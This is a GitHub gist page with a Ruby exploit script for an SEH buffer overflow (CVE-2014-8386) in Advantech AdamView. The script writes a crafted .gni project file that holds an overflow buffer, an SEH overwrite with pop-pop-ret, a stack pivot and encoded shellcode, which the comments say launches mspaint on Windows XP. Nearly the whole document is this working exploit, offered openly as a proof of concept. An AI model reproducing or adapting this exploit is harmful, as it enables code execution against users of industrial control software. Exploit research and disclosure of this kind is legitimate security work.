Created
December 9, 2014 14:59
-
-
Save mfadzilr/7a45a7c6900ef0e86bc3 to your computer and use it in GitHub Desktop.
Advantech AdamView (.gni) SEH Buffer Overflow
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Exploit Title: Advantech AdamView (.gni) SEH Buffer Overflow | |
# Date: Dec 09 2014 | |
# Vulnerability Discovery: Daniel Kazimirow and Fernando Paez - Core Security | |
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com> | |
# Software Link: http://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-179WGW | |
# Version: 4.30.003 | |
# Tested on: Microsoft Windows XP SP3 EN [Version 5.1.2600] | |
# CVE: CVE-2014-8386 | |
# Advisory ID: CORE-2014-0008 | |
filename = "crash-it.gni" | |
buf = "A" * 1022 | |
seh = 134 | |
# bad chars '\x61 .. \x7a' | |
# pop mspaint | |
sc = | |
"\xb8\x99\x4e\x83\xd1\x2d\x1f\x10\x10\x10\x50" + | |
"\xb8\xcb\xaf\xe6\x3e\x50\xb8\xc5\xf9\x87\x7b" + | |
"\x2d\x1f\x1f\x1f\x1f\x50\xb8\x9f\x7b\x5d\x8b" + | |
"\x2d\x1f\x16\x16\x16\x50\xb8\x8a\x27\xe6\xa0" + | |
"\x2d\x1f\x10\x10\x10\x50\xb8\x1e\x12\x8a\x16" + | |
"\x50\xb8\x09\x7b\x7e\x17\x2d\x1f\x11\x11\x11" + | |
"\x50\xb8\x3f\x2a\x50\x85\x50\xb8\xc9\x97\x1d" + | |
"\x82\x2d\x1f\x10\x10\x10\x50\xb8\x9d\x81\x7b" + | |
"\xc2\x2d\x1f\x17\x17\x17\x50\xb8\xca\x1d\x8a" + | |
"\x59\x2d\x1f\x10\x10\x10\x50\xb8\x20\x42\xfd" + | |
"\xb4\x50\xb8\x1e\xe1\x94\x85\x50\xb8\x82\x94" + | |
"\xa3\x85\x2d\x1f\x10\x10\x10\x50\xb8\x38\xc9" + | |
"\x4c\xf7\x50\xb8\x33\xda\x17\x4d\x50\xb8\x42" + | |
"\x82\xb6\xf8\x2d\x1f\x10\x10\x10\x50\xb8\x91" + | |
"\xa6\xd0\xe7\x2d\x1f\x10\x10\x10\x50\xb8\x56" + | |
"\xca\x13\xb6\x50\xb8\x8f\x4a\x57\xa1\x2d\x1f" + | |
"\x10\x10\x10\x50\xb8\x1a\x4f\xda\x7e\x2d\x1f" + | |
"\x10\x10\x10\x50\xb8\x93\x1a\xcb\xb9\x50\xb8" + | |
"\xd0\x15\x7e\xad\x50\xb8\xf0\xe4\xaa\x2b\x50" + | |
"\xb8\xec\x43\xd9\x88\x50\xb8\x17\x39\xfd\xfd" + | |
"\x50\xb8\xdb\x3a\x40\xfa\x50\xb8\x9a\xfd\x9f" + | |
"\x8f\x50\xb8\xa3\x31\x12\x4d\x50\xb8\x5a\xff" + | |
"\x2d\x9e\x50\xb8\xa9\xfc\xfb\x4f\x50\xb8\x84" + | |
"\xe2\x7b\xa1\x2d\x2f\x2d\x2d\x2d\x50\xb8\x84" + | |
"\x98\xad\x7b\x2d\x1f\x14\x14\x14\x50\xb8\x2d" + | |
"\x1c\x91\x38\x50\xb8\x22\xcb\x39\x23\x50\xb8" + | |
"\x07\xf4\x4c\x89\x50\xb8\xc7\x7f\xec\xee\x50" + | |
"\xb8\xa2\x3a\x2f\xcf\x50\xb8\xe9\x2d\x7c\xde" + | |
"\x50\xb8\xcb\x40\x83\x9a\x2d\x1f\x10\x10\x10" + | |
"\x50\xb8\x8d\xfe\x7e\x4b\x50\xb8\x10\x0d\x3b" + | |
"\x7b\x2d\x1f\x10\x10\x10\x50\xb8\x2d\x2e\xe8" + | |
"\xe9\x50\xb8\xea\x10\xe7\xd7\x2d\x1f\x10\x10" + | |
"\x10\x50\xb8\xe2\x0a\x7b\x83\x2d\x1f\x1b\x1b" + | |
"\x1b\x50\xb8\x8d\xfb\xc4\x04\x50\xb8\xe5\xa6" + | |
"\x34\x7f\x2d\x1f\x10\x10\x10\x50\xb8\xaf\xf9" + | |
"\x91\x7b\x2d\x1f\x1c\x1c\x1c\x50\xb8\x19\x38" + | |
"\x44\x4d\x50\xb8\xd1\xc7\xb3\x2a\x50\xb8\x22" + | |
"\x7b\x27\xf3\x2d\x1f\x11\x11\x11\x50\xb8\x23" + | |
"\x42\x7b\x27\x2d\x1f\x11\x11\x11\x50\xb8\xb1" + | |
"\x32\x83\xc2\x50\xb8\xf4\x5a\x31\xc9\x50\xb8" + | |
"\xc2\xe9\x84\x34\x2d\x1f\x10\x10\x10\x50\xb8" + | |
"\xbd\x24\x3b\x5b\x50\xb8\x90\x90\xda\xc3\x50" | |
buf[seh-4,4] = "\xeb\x0a\x41\x41" # jmp $+16 | |
buf[seh,4] = [0x22b0249b].pack("V").force_encoding("utf-8") # ppr | |
buf[seh+8,6] = "\x81\xc4\x54\xf2\xff\xff" # add esp,-3500 | |
buf[seh+14,sc.size] = sc | |
buf[seh+(14+sc.size),2] = "\xff\xd4" | |
gni_file = | |
"\x41\x47\x4e\x49\xae\x01\x04\x00" + | |
"\x27\x48\x00\x00\x27\x48\x00\x00" + | |
"\x27\x48\x00\x00\x27\x48\x00\x00" + | |
"\x27\x48\x00\x00\x27\x48\x00\x00" + | |
"\x27\x48\x00\x00\x48\x45\x41\x44" + | |
"\x16\x00\x27\x00\x00\x00\x00\x00" + | |
"\x00\x00\x32\x00\x00\x00\x00\xff" + | |
"\x00\x00\x00\x00\x80\x02\xe0\x01" + | |
"\x53\x57\x50\x4c\x30\x00\x00\x00" + | |
"\x00\x00\x01\x00\x00\x00\xfe\xfe" + | |
"\xff\xff\xff\xff\xff\xff\xff\xff" + | |
"\xff\xff\xff\xff\xff\xff\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\xb0\x04" + | |
"\x00\x00\xb7\x01\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x42\x54" + | |
"\x53\x4b\x76\x00\x01\x00\x00\x00" + | |
"\x2a\x01\x01\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x01\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x05\x00\x00\x00" + | |
"\x54\x41\x53\x4b\x31\x00\x00\x00" + | |
"\x00\x00\x00\x01\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x02\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\xc8\x42\x45\x54\x53\x4b\x50\x57" + | |
"\x50\x4c\x3d\x00\x00\x00\x00\x00" + | |
"\x01\x00\x00\x00\xff\xff\xff\xff" + | |
"\xff\xff\xff\xff\xff\xff\xff\xff" + | |
"\xff\xff\xff\xff\x16\x00\x00\x00" + | |
"\x1d\x00\x00\x00\xc6\x04\x00\x00" + | |
"\xbc\x01\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x07\x01" + | |
"\x00\xfe\x03" + buf + # '\xfe\x03' controlled buffer size | |
"\x00\x50\x45\x4e\x44\x46\x56\x4b" + | |
"\x53\x24\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x01\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x00\x00\x00" + | |
"\x00\x00\x00\x00\x00\x4e\x45\x54" + | |
"\x4b\x41\x44\x41\x4d\x56\x69\x65" + | |
"\x77\x00\x00\x00\x00\xd0\x07\xd0" + | |
"\x07\x01\x00\x00\x00\x01\x00\x00" + | |
"\x00\x5a\x45\x4f\x46" | |
bug = gni_file | |
File.open(filename,"wb") do |fp| | |
fp.write(bug) | |
fp.close | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment